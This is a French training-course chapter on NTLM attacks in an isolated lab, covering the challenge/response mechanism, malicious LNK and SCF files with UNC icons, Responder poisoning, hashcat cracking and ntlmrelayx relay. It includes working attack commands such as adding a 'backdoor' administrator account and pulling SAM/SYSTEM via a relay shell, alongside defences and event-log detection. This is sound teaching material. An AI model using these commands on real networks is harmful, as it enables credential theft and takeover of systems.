Le chapitre le plus offensif du cours. Un fichier texte de 3 lignes déposé sur un partage suffit à capturer le hash NTLM de chaque utilisateur qui ouvre le dossier. Comprendre ces techniques est indispensable - pour les mener en pentest comme pour les détecter en SOC.
AVANCÉOFFENSIF + DÉFENSIF5 – 6h
Avertissement légal - Lab isolé obligatoire
Ces techniques sont présentées dans un cadre éducatif et légal. Toute utilisation hors d'un lab isolé ou sans autorisation écrite explicite est illégale. Ce chapitre prépare aux certifications OSCP, CRTE, et aux missions de pentest professionnelles. Le lab doit être entièrement isolé d'Internet - réseau Host-Only uniquement.
7.1
NTLM - Le Protocole qu'on N'arrive Pas à Tuer
NTLM (NT LAN Manager) est un protocole d'authentification Microsoft introduit avec Windows NT 3.1 en 1993. Malgré l'introduction de Kerberos comme protocole préféré dans Windows 2000, NTLM est encore omniprésent en 2026 : il fonctionne sans contrôleur de domaine, dans les workgroups, pour les connexions par adresse IP directe, et comme fallback automatique quand Kerberos échoue.
Pourquoi NTLM persiste
Kerberos nécessite un KDC (Domain Controller), un DNS fonctionnel, et que la cible soit joignable par nom d'hôte. Dès qu'une de ces conditions échoue - connexion par IP, DC injoignable, machine hors domaine - Windows bascule automatiquement sur NTLM. C'est ce fallback qui est exploité dans les attaques de ce chapitre.
Architecture NTLM - Challenge / Response en 3 étapes
CLIENT SERVEUR
│ │
│ ── NEGOTIATE_MESSAGE ──────────────► │ "Je veux m'authentifier"
│ │
│ ◄── CHALLENGE_MESSAGE ────────────── │ "Voici mon défi : 8 octets aléatoires (nonce)"
│ │
│ [CLIENT calcule la réponse] │
│ HMAC-MD5(Hash_NT, nonce_serveur │
│ + nonce_client + timestamp) │
│ = NET-NTLMv2 Hash │
│ │
│ ── AUTHENTICATE_MESSAGE ───────────► │ "Voici ma réponse au défi"
│ │
│ ◄── Succès / Échec ──────────────── │
Ce qui circule sur le réseau = NET-NTLMv2 hash (PAS le hash NT)
→ Responder capture ce NET-NTLMv2 hash
NTLMv1 vs NTLMv2 - Différences cryptographiques
Attribut
NTLMv1 (1993)
NTLMv2 (1996)
Algorithme
DES (3×) - cassable en <1h GPU
HMAC-MD5 - plus robuste
Timestamp
Absent - replay possible
Présent - anti-replay
Nonce client
Absent
Présent - résistance partielle au relay
Rainbow tables
Disponibles (crack.sh)
Non applicables directement
Relay possible
Oui, trivial
Oui, si SMB signing absent
Statut actuel
Éliminer absolument
Encore présent - à surveiller
Hash NT vs NET-NTLMv2 - Distinction critique
Différence entre hash NT (SAM/LSASS) et NET-NTLMv2 (réseau)COMPARAISON
Hash NT (stocké) NET-NTLMv2 (réseau)
────────────────────────────── ──────────────────────────────────────────────
MD4(mot_de_passe_unicode) HMAC-MD5(hash_NT, nonce_serveur + nonce_client...)
Stocké dans SAM / LSASS Circule sur le réseau lors de l'authentification
Utilisable en Pass-the-Hash ✓ Non utilisable en Pass-the-Hash directement ✖
Crackable offline Crackable offline (plus lent)
Relayable si SMB signing absent ✓
Capturé par Responder - Format NTLMv2 :
alice::WIN10LAB:aabbccdd11223344:NTRESPONSE:BLOB_TIMESTAMP_NONCE
La différence fondamentale
Un hash NT (capturé dans SAM ou LSASS) peut être utilisé directement en Pass-the-Hash - pas besoin du mot de passe. Un NET-NTLMv2 (capturé sur le réseau par Responder) ne peut pas être utilisé en Pass-the-Hash - il faut soit le cracker offline, soit le relayer immédiatement vers une autre cible (chapitre 7.6).
Un fichier SCF (Shell Command File) est un format de configuration Windows hérité des années 90 - utilisé notamment par explorer.exe pour les raccourcis spéciaux comme "Afficher le Bureau". Son extension est .scf et Windows l'interprète automatiquement dès que l'Explorateur affiche le dossier qui le contient, même sans double-clic.
La vulnérabilité : la directive IconFile dans un .scf peut pointer vers un chemin UNC (\\attaquant\share\icon) - forçant Windows à tenter une authentification NTLM automatique vers l'IP de l'attaquant pour récupérer l'icône.
Structure d'un fichier SCF malveillant
malicious.scf - 3 lignes suffisent pour capturer un hash NTLMSCF
1. L'attaquant dépose @malicious.scf sur un partage accessible
2. La victime navigue vers le dossier dans l'Explorateur Windows
3. L'Explorateur liste le contenu - voit le fichier .scf
4. Windows tente de charger l'icône : \\192.168.56.100\share\icon.ico
5. Windows initie une connexion SMB → envoie automatiquement un NET-NTLMv2
6. Responder/smbserver capte le hash - aucune interaction utilisateur requise
Nommage stratégique
En nommant le fichier @malicious.scf ou !malicious.scf, l'Explorateur le trie en premier dans la liste - et donc le charge en premier, avant même que la victime ne voie le contenu du dossier. Maximise les chances de capture même si la victime ferme rapidement la fenêtre.
7.3
L'Attaque LNK - Raccourci Windows Malveillant
Un fichier LNK est un raccourci Windows - format binaire propriétaire Microsoft stockant le chemin cible, l'icône à afficher, les arguments, et les options de fenêtre. Comme pour le SCF, si l'icône d'un .lnk pointe vers un chemin UNC, l'Explorateur Windows tentera une authentification NTLM automatique dès l'affichage du dossier.
Créer un fichier LNK malveillant - depuis Windows
PowerShell - LNK avec icône UNC distantePOWERSHELL
$attackerIP = "192.168.56.100"# IP de Kali$wscript = New-Object-ComObject WScript.Shell
$shortcut = $wscript.CreateShortcut("C:\Temp\important_document.lnk")
# Cible quelconque - peu importe, l'important c'est l'icône$shortcut.TargetPath = "C:\Windows\System32\calc.exe"$shortcut.Arguments = "C:\Partages\Projets"# L'icône pointe vers notre serveur → déclenche l'auth NTLM automatique$shortcut.IconLocation = "\\$attackerIP\share\icon.ico,0"# Métadonnées crédibles pour ne pas éveiller les soupçons$shortcut.Description = "Document important Q4 2024"$shortcut.WorkingDirectory = "C:\Partages\Projets"$shortcut.WindowStyle = 7 # Fenêtre minimisée - discret$shortcut.Save()
Write-Host"LNK malveillant cree : C:\Temp\important_document.lnk"
Créer un fichier LNK - depuis Kali
ntlm_theft - génère tous les types de fichiers malveillantsBASH
# Outil ntlm_theft - génère LNK, SCF, URL, DOCX, PDF, XLSX malveillants
git clone https://github.com/Greenwolf/ntlm_theft
cd ntlm_theft
python3 ntlm_theft.py -g all -s 192.168.56.100 -f confidentiel
# Génère :# confidentiel.lnk ← Raccourci avec icône UNC distante# confidentiel.scf ← Shell Command File# confidentiel.url ← Raccourci Internet# confidentiel.docx ← Document Word avec image distante# confidentiel.xlsx ← Classeur Excel avec formule distante# confidentiel.pdf ← PDF avec ressource distante
Comparatif SCF vs LNK
Critère
SCF
LNK
Déclenchement
Ouverture du dossier (auto)
Ouverture du dossier (auto)
Format
Texte (INI) - 3 lignes
Binaire - PowerShell requis
Discrétion
Moins - visible facilement
Plus - icône personnalisable
Filtrage AV
Souvent détecté
Variable
Alternatives modernes
.url, .desktop
.lnk icône distante
7.4
Mise en Place du Serveur SMB Captureur
Option 1 - Responder (recommandé)
Responder est l'outil de référence pour capturer des authentifications NTLM. Il empoisonne les protocoles de résolution de noms (LLMNR, NBT-NS, MDNS) et sert des serveurs SMB/HTTP/FTP/LDAP pour capturer les hashes.
Responder - configuration et lancementBASH
# Vérifier la configuration de Responder
cat /etc/responder/Responder.conf
# SMB = On ← Serveur SMB captureur# HTTP = On ← Serveur HTTP captureur# LLMNR = On ← Empoisonnement LLMNR# NBT-NS = On ← Empoisonnement NetBIOS Name Service# Lancer Responder - mode standard (capture + empoisonnement)
sudo responder -I eth1 -v# eth1 = interface Host-Only - adapter selon ton lab# Mode analyse uniquement (pas d'empoisonnement - discret)
sudo responder -I eth1 -A# Mode capture sans empoisonnement LLMNR (pour attaques SCF/LNK ciblées)
sudo responder -I eth1 --disable-ess
Sortie Responder lors d'une capture réussieOUTPUT
[SMB] NTLMv2-SSP Client : 192.168.56.10
[SMB] NTLMv2-SSP Username : WIN10LAB\alice
[SMB] NTLMv2-SSP Hash : alice::WIN10LAB:aabbccdd11223344:3D8A2F4E...:010100000000000...
[+] Captured hash saved to: /usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.10.txt
# Voir les hashes capturés
ls /usr/share/responder/logs/
cat /usr/share/responder/logs/SMB-NTLMv2-SSP-*.txt
Option 2 - impacket-smbserver (léger, ciblé)
impacket-smbserver - serveur minimal sans empoisonnementBASH
# Serveur SMB minimal - pas d'empoisonnement - pour SCF/LNK directs
impacket-smbserver share /tmp/smb_share -smb2support# Mode avec auth simulée (force NTLMv2)
impacket-smbserver share /tmp/smb_share -smb2support-username test -password test
# Sortie lors d'une connexion :# [*] Incoming connection (192.168.56.10,49832)# [*] AUTHENTICATE_MESSAGE (WIN10LAB\alice, WIN10LAB)# [*] User WIN10LAB\alice authenticated successfully# [*] alice::WIN10LAB:4141414141414141:hash...
# Mode 5600 = Net-NTLMv2 | Mode 5500 = Net-NTLMv1# Cracking de base avec rockyou
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt
# Avec règles best64 (augmente drastiquement les chances)
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Avec règles avancées OneRuleToRuleThemAll
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt \
-r OneRuleToRuleThemAll.rule
# Force brute 8 caractères tous types
hashcat -m 5600 hash.txt -a 3 ?a?a?a?a?a?a?a?a
# Voir les résultats crackés
hashcat -m 5600 hash.txt --show# NTLMv1 avec ESS désactivé → crack.sh (tables arc-en-ciel, quelques secondes)# https://crack.sh/get-cracking/
John The Ripper
john - format netntlmv2BASH
john --format=netntlmv2 hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
john --format=netntlmv2 hash.txt --show
Réalité terrain - Temps de cracking (RTX 4090)
Mot de passe
Temps estimé (~330 GH/s)
Vecteur
"password"
< 1 seconde
Dans rockyou.txt directement
"P@ssw0rd"
< 1 seconde
rockyou.txt + règles
"Azerty123!"
Quelques secondes
Règles de substitution
"Sup3r$ecret"
Minutes à heures
Règles avancées
"xK9#mP2!qL3w"
Années
Force brute - infaisable
La vraie protection contre le cracking
La vraie protection n'est pas la complexité du mot de passe - les GPU sont trop rapides pour les mots de passe courants. C'est d'empêcher la capture en premier lieu : SMB signing obligatoire, désactivation de LLMNR/NBT-NS, et blocage du port 445 outbound. Un hash jamais capturé ne peut jamais être cracké.
7.6
NTLM Relay - Principe & ntlmrelayx
Au lieu de capturer et cracker un hash NTLMv2, le relay consiste à transmettre l'authentification en temps réel vers une autre cible. L'attaquant agit comme un proxy MITM entre la victime et la cible.
Architecture du relay - MITM en temps réel
Flux NTLM Relay - victime, attaquant, cibleFLUX
VICTIME ATTAQUANT (Kali) CIBLE
│ │ │
│ ── Connexion SMB ───────────► │ │
│ (vers \\ATTAQUANT\) │ ── Relaie l'auth ────────────► │
│ │ (vers \\CIBLE\) │
│ ◄── Challenge ────────────── │ ◄── Challenge ──────────────── │
│ │ │
│ ── Réponse NTLMv2 ──────────► │ │
│ │ ── Relaie la réponse ─────────► │
│ │ │
│ │ ◄── ACCES ACCORDE ─────────── │
│ │ Dump SAM / Shell / LDAP │
Conditions requises :
1. Cible sans SMB signing obligatoire
2. Attaquant sur le même réseau
3. Victime déclenche une auth NTLM (LLMNR, SCF, LNK...)
4. Compte victime a des droits sur la cible (admin local idéalement)
Configuration ntlmrelayx - étape par étape
Setup complet ntlmrelayx + Responder - 4 terminauxBASH
# ── ÉTAPE 1 : Désactiver SMB/HTTP dans Responder (ntlmrelayx les prend) ──
nano /etc/responder/Responder.conf
# SMB = Off# HTTP = Off# ── ÉTAPE 2 : Générer la liste des cibles sans SMB signing ───────────
netexec smb 192.168.56.0/24 --gen-relay-list /tmp/relay_targets.txt
cat /tmp/relay_targets.txt
# 192.168.56.10# 192.168.56.20# ── ÉTAPE 3 : Lancer ntlmrelayx ─────────────────────────────────────# Mode dump SAM (par défaut - si admin local)
impacket-ntlmrelayx -tf /tmp/relay_targets.txt -smb2support# Mode commande distante
impacket-ntlmrelayx -tf /tmp/relay_targets.txt -smb2support \
-c"net user backdoor P@ssw0rd! /add && net localgroup Administrators backdoor /add"# Mode shell interactif (le plus flexible)
impacket-ntlmrelayx -tf /tmp/relay_targets.txt -smb2support-i# → Shell SMB interactif sur localhost:11000# Mode LDAP relay (ajouter des comptes dans AD)
impacket-ntlmrelayx -t ldap://192.168.56.1 --no-smb-server-smb2support \
--add-computer ROGUE$ P@ssw0rd123
# ── ÉTAPE 4 : Lancer Responder (empoisonnement LLMNR) ────────────────
sudo responder -I eth1 -v# SMB/HTTP = Off (configuré ci-dessus)# LLMNR = On ← Empoisonne les requêtes de résolution de noms
Relay réussi - connexion au shell interactifBASH
# ntlmrelayx affiche lors d'un relay réussi :# [*] SMBD-Thread: Received connection from 192.168.56.10# [*] AUTHENTICATE_MESSAGE (WIN10LAB\alice, WIN10LAB)# [*] Relaying to remaining targets...# [*] Authenticating against 192.168.56.20 as WIN10LAB\alice SUCCEED# [*] Started interactive SMB client shell via TCP on 127.0.0.1:11000# Se connecter au shell relay
nc 127.0.0.1 11000
# Type help for list of commands# # shares ← Lister les partages# # use C$ ← Se connecter à C$# # ls ← Lister# # get Windows\System32\config\SAM# # get Windows\System32\config\SYSTEM
Activer SMB Signing - serveur et client + vérificationPOWERSHELL
# Sur tous les serveurs WindowsSet-SmbServerConfiguration-RequireSecuritySignature$true-ForceSet-SmbClientConfiguration-RequireSecuritySignature$true-Force# Via GPO (déploiement massif) :# Computer Configuration → Windows Settings → Security Settings → Local Policies# → Security Options :# "Microsoft network server: Digitally sign communications (always)" → Enabled# "Microsoft network client: Digitally sign communications (always)" → Enabled# VérifierGet-SmbServerConfiguration | Select-Object RequireSecuritySignature
netexec smb 192.168.56.10 # → signing:True (required)
Défense n°2 - Désactiver LLMNR et NBT-NS
Ces protocoles de résolution de noms "de secours" sont ce que Responder empoisonne pour forcer les victimes à se connecter vers l'attaquant. Les désactiver rend Responder aveugle.
Désactiver LLMNR (registre) et NBT-NS (WMI)POWERSHELL
# ── Désactiver LLMNR via Registre ───────────────────────────────────New-ItemProperty-Path"HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\DNSClient" `
-Name"EnableMulticast"-Value 0 -PropertyType DWord -Force# Via GPO : Computer Configuration → Administrative Templates → Network# → DNS Client → "Turn off multicast name resolution" → Enabled# ── Désactiver NBT-NS sur toutes les interfaces ──────────────────────$adapters = Get-WmiObject Win32_NetworkAdapterConfiguration | Where-Object {$_.IPEnabled}
foreach ($adapterin$adapters) {
$adapter.SetTcpipNetbios(2) | Out-Null# 2 = Désactiver NetBIOS over TCP/IP
}
Write-Host"NBT-NS desactive sur toutes les interfaces"# Vérifier (0=défaut, 1=activé, 2=désactivé)Get-WmiObject Win32_NetworkAdapterConfiguration |
Where-Object {$_.IPEnabled} |
Select-Object Description, TcpipNetbiosOptions
# Créer le partage simulant un partage d'équipeNew-Item-ItemType Directory -Path"C:\Partages\Projets"-Force | Out-NullNew-SmbShare-Name"Projets"-Path"C:\Partages\Projets" `
-ChangeAccess"Everyone"-Description"Partage projets equipe"# Fichiers leurres légitimesSet-Content"C:\Partages\Projets\Budget_Q4.xlsx.txt"-Value"Donnees budgetaires Q4"Set-Content"C:\Partages\Projets\Planning_2025.docx.txt"-Value"Planning annuel"Write-Host"Partage cree : \\$env:COMPUTERNAME\Projets"# Désactiver SMB Signing - VULNÉRABLE au relay (LAB UNIQUEMENT)Set-SmbServerConfiguration-RequireSecuritySignature$false-ForceWrite-Host"SMB Signing desactive - VULNERABLE au relay (test uniquement)"-ForegroundColor Red
LNK avec icône UNC → dépôt sur le partagePOWERSHELL
$attackerIP = "192.168.56.100"$outputPath = "C:\Temp\Budget_Q4_Final.lnk"New-Item-ItemType Directory -Path"C:\Temp"-Force | Out-Null$wscript = New-Object-ComObject WScript.Shell
$shortcut = $wscript.CreateShortcut($outputPath)
$shortcut.TargetPath = "C:\Windows\explorer.exe"$shortcut.Arguments = "C:\Partages\Projets"$shortcut.IconLocation = "\\$attackerIP\share\icon.ico,0"# UNC → trigger NTLM$shortcut.Description = "Budget Q4 - Document final approuve"$shortcut.WorkingDirectory = "C:\Partages\Projets"$shortcut.WindowStyle = 7
$shortcut.Save()
# Déposer sur le partage (simule un accès en écriture de l'attaquant)Copy-Item$outputPath"\\localhost\Projets\Budget_Q4_Final.lnk"Write-Host"LNK depose sur \\localhost\Projets\"-ForegroundColor Yellow
Alternative - ntlm_theft depuis KaliBASH
# Générer avec ntlm_theft
cd /opt/ntlm_theft
python3 ntlm_theft.py -g lnk -s 192.168.56.100 -f"Budget_Q4_Final"# Uploader sur le partage via smbclient
smbclient //192.168.56.10/Projets -U"restricteduser%Restricted@2024!" \
-c"put Budget_Q4_Final.lnk"
Lancer Responder + surveiller les logs en temps réelBASH
# Terminal 1 - Responder
ip addr show | grep "192.168.56"# Identifier l'interface Host-Only
sudo responder -I eth1 -v# Terminal 2 - Surveiller les logs en temps réel
watch -n 1 "ls -la /usr/share/responder/logs/ && echo '---' && \
cat /usr/share/responder/logs/SMB-NTLMv2*.txt 2>/dev/null | tail -5"
Simuler la navigation de la victime - déclenchement du LNKPOWERSHELL
# En tant que victime (alice ou restricteduser)# Option 1 : via l'Explorateur Windows - naviguer vers \\localhost\Projets# → LNK Budget_Q4_Final.lnk s'affiche → icône chargée → hash capturé# Option 2 : via PowerShell (même résultat)Get-ChildItem"\\localhost\Projets"# → Le shell charge les métadonnées (dont l'icône) → auth NTLM vers Kali# Résultat attendu sur Kali (Responder) :# [SMB] NTLMv2-SSP Client : 192.168.56.10# [SMB] NTLMv2-SSP Username : WIN10LAB\alice# [SMB] NTLMv2-SSP Hash : alice::WIN10LAB:1122334455667788:ABCD....:0101...
hashcat mode 5600 + validation avec netexecBASH
# Récupérer le hash
HASH_FILE="/usr/share/responder/logs/SMB-NTLMv2-SSP-192.168.56.10.txt"
cat $HASH_FILE
# Vérifier le format
head -1 $HASH_FILE
# alice::WIN10LAB:challenge:response:blob# Cracking avec rockyou + règles best64
hashcat -m 5600 $HASH_FILE /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule \
--status--status-timer 10
# Voir le résultat
hashcat -m 5600 $HASH_FILE --show# alice::WIN10LAB:...:Restricted@2024!# Valider le credential trouvé
netexec smb 192.168.56.10 -u alice -p"Restricted@2024!"--shares
ntlmrelayx mode interactif - shell SMB directBASH
# Terminal 1 - Désactiver SMB/HTTP dans Responder
sed -i's/SMB = On/SMB = Off/' /etc/responder/Responder.conf
sed -i's/HTTP = On/HTTP = Off/' /etc/responder/Responder.conf
# Générer liste des cibles sans signing
netexec smb 192.168.56.0/24 --gen-relay-list /tmp/relay_targets.txt
# Terminal 2 - ntlmrelayx mode shell interactif
impacket-ntlmrelayx \
-tf /tmp/relay_targets.txt \
-smb2support \
-i# Terminal 3 - Responder (empoisonnement LLMNR seulement)
sudo responder -I eth1 -v# Terminal 4 - Connexion au shell relay une fois le relay réussi
nc 127.0.0.1 11000
# # shares# # use C$# # ls# # get Windows\System32\config\SAM# # get Windows\System32\config\SYSTEM
Réactiver SMB Signing + analyser Event 4624 et 5140POWERSHELL
# Rétablir SMB SigningSet-SmbServerConfiguration-RequireSecuritySignature$true-ForceSet-SmbClientConfiguration-RequireSecuritySignature$true-Force# Supprimer le LNK malveillant et le partageRemove-Item"C:\Partages\Projets\Budget_Q4_Final.lnk"-Force-EA SilentlyContinue
Remove-SmbShare-Name"Projets"-ForceRemove-Item"C:\Partages\"-Recurse-ForceWrite-Host"`n=== TRACES DE L'ATTAQUE ==="-ForegroundColor Red
# Event 4624 - Connexion réseau (Logon Type 3) depuis une IP suspecteGet-WinEvent-FilterHashtable@{LogName='Security';Id=4624;StartTime=(Get-Date).AddHours(-1)} `
-EA SilentlyContinue | ForEach-Object {
$xml = [xml]$_.ToXml()
$data = $xml.Event.EventData.Data
$type = ($data | Where-Object {$_.Name -eq'LogonType'}).'#text'$ip = ($data | Where-Object {$_.Name -eq'IpAddress'}).'#text'$user = ($data | Where-Object {$_.Name -eq'TargetUserName'}).'#text'if ($type-eq"3"-and$ip-match"192\.168\.56\."-and$user-ne"-") {
Write-Host"[4624 Logon3] $($_.TimeCreated) | $user depuis $ip"-ForegroundColor Yellow
}
}
# Event 5140 - Connexion à un partageGet-WinEvent-FilterHashtable@{LogName='Security';Id=5140;StartTime=(Get-Date).AddHours(-1)} `
-EA SilentlyContinue | ForEach-Object {
$xml = [xml]$_.ToXml()
$data = $xml.Event.EventData.Data
Write-Host"[5140 Share] $($_.TimeCreated) | $(($data | Where-Object {$_.Name -eq 'SubjectUserName'}).'#text') accede a $(($data | Where-Object {$_.Name -eq 'ShareName'}).'#text') depuis $(($data | Where-Object {$_.Name -eq 'IpAddress'}).'#text')"-ForegroundColor Yellow
}
Analyse et nettoyage côté KaliBASH
# Tous les hashes capturés pendant la session
cat /usr/share/responder/logs/Responder-Session.log | grep "NTLMv2"# Base de données SQLite Responder
sqlite3 /usr/share/responder/Responder.db \
"SELECT * FROM responder ORDER BY timestamp DESC LIMIT 10;"# Restaurer Responder.conf (remettre SMB/HTTP On)
sed -i's/SMB = Off/SMB = On/' /etc/responder/Responder.conf
sed -i's/HTTP = Off/HTTP = On/' /etc/responder/Responder.conf
# Nettoyer les logs après l'exercice
rm /usr/share/responder/logs/*.txt
echo"Nettoyage Responder termine"
✓
Résumé - Points clés à retenir
Architecture NTLM
Challenge/Response - jamais le mot de passe
NTLM ne transmet jamais le mot de passe en clair. Le NET-NTLMv2 circulant sur le réseau est un dérivé du hash NT et du nonce - il ne peut pas être utilisé en Pass-the-Hash, mais peut être cracké offline ou relayé en temps réel si SMB signing est absent.
SCF & LNK
Zéro interaction utilisateur requise
Un SCF de 3 lignes ou un LNK avec icône UNC déclenche automatiquement une authentification NTLM dès que la victime ouvre le dossier contenant le fichier. Nommer le fichier @fichier.scf le positionne en tête de liste - capture garantie avant même que la victime ne voie le contenu.
Pour l'Offensif
Responder + ntlmrelayx = combo standard
Responder empoisonne LLMNR/NBT-NS pour forcer les victimes à se connecter. ntlmrelayx relaie immédiatement l'auth vers les cibles sans signing. Si le hash craque → accès direct avec credentials. Si non → relay immédiat. ntlm_theft génère tous les formats en une commande.
Pour le Défensif
4 défenses en priorité
1. SMB Signing obligatoire - tue le relay. 2. Désactiver LLMNR/NBT-NS - rend Responder aveugle. 3. Bloquer port 445 outbound - empêche la capture SCF/LNK. 4. LmCompatibilityLevel=5 - élimine NTLMv1. Event 4624 (type 3) + Event 5140 depuis IPs inhabituelles = signature d'une capture en cours.
Expliquer le mécanisme challenge/response NTLM et ce qui circule sur le réseau
Distinguer hash NT (Pass-the-Hash) et NET-NTLMv2 (cracking/relay)
Identifier les différences cryptographiques NTLMv1 vs NTLMv2
Créer un fichier SCF malveillant (3 lignes) pointant vers un serveur UNC
Générer un LNK malveillant avec icône distante via PowerShell ou ntlm_theft
Configurer et lancer Responder pour capturer des hashes NTLMv2
Cracker un hash NTLMv2 avec hashcat mode 5600 et règles best64
Configurer ntlmrelayx en mode shell interactif et effectuer un relay SMB
Désactiver LLMNR via registre et NBT-NS via WMI sur toutes les interfaces
Analyser les Event 4624 (type 3) et 5140 pour détecter une capture NTLM
Le Chapitre 8 - Credentials : SAM, SYSTEM, SECURITY & DPAPI approfondit ce qui se passe après avoir compromis une machine : comment extraire les mots de passe stockés localement, que ce soit via le registre, les Volume Shadow Copies, ou les fichiers DPAPI - et comment détecter ces extractions.